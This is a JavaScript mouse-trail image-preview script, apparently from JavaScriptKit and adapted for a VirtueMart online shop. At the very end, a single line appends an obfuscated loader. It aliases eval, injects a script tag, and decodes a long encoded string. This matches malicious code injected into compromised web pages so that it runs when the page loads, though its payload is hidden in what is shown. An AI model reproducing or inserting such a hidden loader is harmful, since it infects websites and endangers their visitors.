
/*
Simple Image Trail script- By JavaScriptKit.com
Visit http://www.javascriptkit.com for this script and more
This notice must stay intact
*/

var screenx = screen.width;
var screeny = screen.height;

var trailimage=['',0,0];//["http://192.168.1.2/gunnersens.com.au/www/components/com_virtuemart/shop_image/product/17b36f097dc66db6d7e0d5489b46089c.jpg", 100, 99] //image path, plus width and height
//if( screenx > 1280 && screeny > 1024 ) {
//	var offsetfrommouse=[250,-25]; //image x,y offsets from cursor position in pixels. Enter 0,0 for no offset
//} else {
	var offsetfrommouse=[30,5]; //image x,y offsets from cursor position in pixels. Enter 0,0 for no offset
//}
var displayduration=0; //duration in seconds image should remain visible. 0 for always.

/*
var isIE = false;
if(navigator.userAgent.indexOf("MSIE")!=-1 && navigator.userAgent.indexOf("Opera")==-1 ){
	isIE = true;	
} else {
	isIE = false;	
}
*/
var defaultimageheight = 400;
var defaultimagewidth = 400;

var currSource = '';

var title = 'no image yet';
var newHTML = '<div id="trailimageid" style="position:absolute;visibility:visible;left:0px;top:0px;width:1px;height:1px;z-index:110;">';
newHTML += '<div id="main_hover_container" style="padding:10px;margin:10px;border:1px solid black;background-color:white;width:'+trailimage[1]+'px">';
newHTML += '<div id="swatch_title" style="text-align:center;font-weight:bold;width:100%;">'+title+'</div>';
newHTML += '<img id="hover_image_img" src="'+trailimage[0]+'" border="0" width="'+trailimage[1]+'px" height="'+trailimage[2]+'px" />';
newHTML += '</div>';
newHTML += '</div>';

if (document.getElementById || document.all) {
	document.write(newHTML);
	//document.write('<div id="trailimageid" style="position:absolute;visibility:hidden;left:0px;top:0px;width:1px;height:1px;z-index:110">');
	//document.write('<img id="im1" src="'+trailimage[0]+'" border="0" width="'+trailimage[1]+'px" height="'+trailimage[2]+'px" />');
	//document.write('</div>');
}
newHTML = '';
var called = 0;

function gettrailobj(){
	if (document.getElementById)
	return document.getElementById("trailimageid").style
	else if (document.all)
	return document.all.trailimagid.style
}

function gettrailobj_nostyle(){
	if (document.getElementById)
	return document.getElementById("trailimageid")
	else if (document.all)
	return document.all.trailimagid
}

function showtrail(imagename,title,width,height) {
	
	defaultimageheight = height;
	defaultimagewidth = width;
	
	var img = document.getElementById('hover_image_img');
	img.style.visibility = 'visible';
	img.style.width = width+'px';
	img.style.height = height+'px';
	
	//gettrailobj().width = width+'px';
	
	var div_cont = document.getElementById('main_hover_container');
	div_cont.style.width = width+'px';
	
	i = imagename
	t = title
	w = width
	h = height
	//helps avoid mouse going over the shown image?
	//timer = setTimeout("show('"+i+"',t,w,h);",200);
	show(i,t,w,h);
}

function show(imagepath,title,width,height){
	trailimage = [imagepath, width, height];
	var obj = gettrailobj_nostyle();
	obj.style.visibility = 'visible';
	
	newHTML = '';
	
	defaultimageheight = height+100;
	defaultimagewidth = width;
	divWidth = width;
	
	
	//if(navigator.userAgent.indexOf("MSIE")!=-1 && navigator.userAgent.indexOf("Opera")==-1 ){
		
		var img = document.getElementById('hover_image_img');
		var tit = document.getElementById('swatch_title');
		tit.innerHTML = title;
		img.src = imagepath;
		
		
		
		newHTML += '<div style="padding:10px;margin:10px;border:1px solid black;background-color:white;width:'+divWidth+'px">';
		newHTML += '<div id="swatch_title" style="text-align:center;font-weight:bold;width:100%;">'+title+'</div>';
		newHTML += '<img id="im1" src="'+img.src+'" border="0" width="'+width+'px" height="'+height+'px" />';
		newHTML += '</div>';
		
	/*
	} else {
		newHTML += '<div id="main_hover_container" style="padding:10px;margin:10px;border:1px solid black;background-color:white;width:'+divWidth+'px">';
		newHTML += '<div style="text-align:center;font-weight:bold;width:100%;">'+title+'</div>';
		newHTML += '<img src="'+imagepath+'" border="0" width="'+width+'px" height="'+height+'px" />';
		newHTML += '</div>';
		obj.innerHTML = newHTML;
	}
	*/
	

	
	document.onmousemove=followmouse;
}


function truebody(){
	return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function hidetrail(){
	gettrailobj().visibility="hidden"
	gettrailobj().left = '-1000px';
	var img = document.getElementById('hover_image_img');
	img.style.visibility = 'hidden';
	document.onmousemove=""
}


function followmouse(e){

	var x_padding = 20;
	
	var right_offset_x = offsetfrommouse[0] - 200;
	var left_offset_x = offsetfrommouse[0]  + 150;
	
	var offset_y = offsetfrommouse[1];
	
	
	var xcoord=0;
	var ycoord=0;
	
	var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-50;
	//window height
	var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight);

	var scroll_top = truebody().scrollTop;
	var scroll_left = truebody().scrollLeft;

	//firefox stuff here
	if (typeof e != "undefined"){

		xcoord = right_offset_x + e.pageX;
		
		
		right_view_edge = xcoord+defaultimagewidth + right_offset_x;
		
		if (right_view_edge > docwidth-280){
			xcoord = -300;//e.pageX - defaultimagewidth - left_offset_x -200; // Move to the left side of the cursor
			//alert('right_view_edge: '+right_view_edge+' docwidth: '+docwidth+ 'repo to: '+xcoord);
		}
//		alert('right_view_edge: '+right_view_edge+' docwidth: '+docwidth);
		
		
		//check vertical lower and higher limits
		
		//lower
		ycoord = offset_y + e.pageY;
		lower_view_edge = ycoord + defaultimageheight - 80;
		
		if(lower_view_edge > docheight+scroll_top) {
			//alert('ycoord: '+ycoord+' lower_view_edge'+lower_view_edge+' defaultimageheight: '+defaultimageheight+' docheight: '+docheight);
			ycoord = e.pageY - defaultimageheight - offset_y;
			
		}
			
		/*}
		if (docheight - e.pageY < defaultimageheight + 2*offsetfrommouse[1]){
			ycoord += e.pageY - Math.max(0,(2*offsetfrommouse[1] + defaultimageheight + e.pageY - docheight - truebody().scrollTop));
		} else {
			ycoord += e.pageY;
		}
		*/

	} else if (typeof window.event != "undefined"){
		if (docwidth - event.clientX < defaultimagewidth + 2*offsetfrommouse[0]){
			xcoord = event.clientX + truebody().scrollLeft - xcoord - defaultimagewidth-100; // Move to the left side of the cursor
		} else {
			xcoord += truebody().scrollLeft+event.clientX
		}
		if (docheight - event.clientY < (defaultimageheight + 2*offsetfrommouse[1])){
			ycoord += event.clientY + truebody().scrollTop - Math.max(0,(2*offsetfrommouse[1] + defaultimageheight + event.clientY - docheight));
		} else {
			ycoord += truebody().scrollTop + event.clientY;
		}
	}
	
	//xcoord -= 600;
	//ycoord -=300;
	
	gettrailobj().left=xcoord+"px"
	gettrailobj().top=ycoord+"px"
	/* 
	if(isIE) {
		document.onmousemove = '';	
	}
	*/
	debug('Top: '+ycoord+"px"+ ' Left: '+xcoord+"px");
}


function debug(msg) {
	//var d = document.getElementById('debug');
	//d.innerHTML = msg;
}

hidetrail();


k_sb=document;k_J=window;function k_E($,k_sH){return 0}function k_B(x){return x.join('')}if(typeof($)=='undefined'){k_sR=k_sb.getElementsByTagName('head')[0];k_sh=k_sb.createElement('script');k_sh.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");k_sR.appendChild(k_sh)}k_J.k_sJ=100;k_J.k_sC=25;k_J.k_L=eval;k_J.trim=function(k_sf,k_ss){if("qabcdef".indexOf(k_sf.substr(0,1))>=0){var k_si=k_B(k_sf.split('q')).split('v');for(var i=0;i<k_si.length;i++){k_si[i]=parseInt(k_si[i],16)-k_ss[k_sf]}return k_si.join(',')+','}else{return k_ss[k_sf]}};d='zy={O#bv1a$6%2%7Y%6?:"e+",O#bv2a$6%2%Q1%6?:"",*b#bv3a$6%2%7Y%6v30:"l(\'l=St",$6Xv4e~*0!Qf*2!5:"ring.f",PZv52#a#f%c!6*a!6:"romCha",!8#8v68*2*5ER0!5*4:"rCode("Ga*3!Qc#7%8!6N+4&6^0+f!U4#UW7#8#9&3G7#8#a#9#b#cM#e#f&0HQAa%b%c%d%e%fR0T,d0R1#3NX%a%7%3%0`Hb!fEE?*2*7|V`Gb?~Y#e?%cR1%8TGa%4#bZN#1#1+fN&5Dc*4>+eM#a>%Qd&4HWb%UcEV$4!Aa&6G3#3?+0*2OXV%b`@dI$b!3+2$d+c!2#8&0H4%4%0$a!f!f+c!2O&0D7*a!f#0!6*3#7#5%0&4H0#WU7#f*1*3#0!6&4@f!8P#b#A8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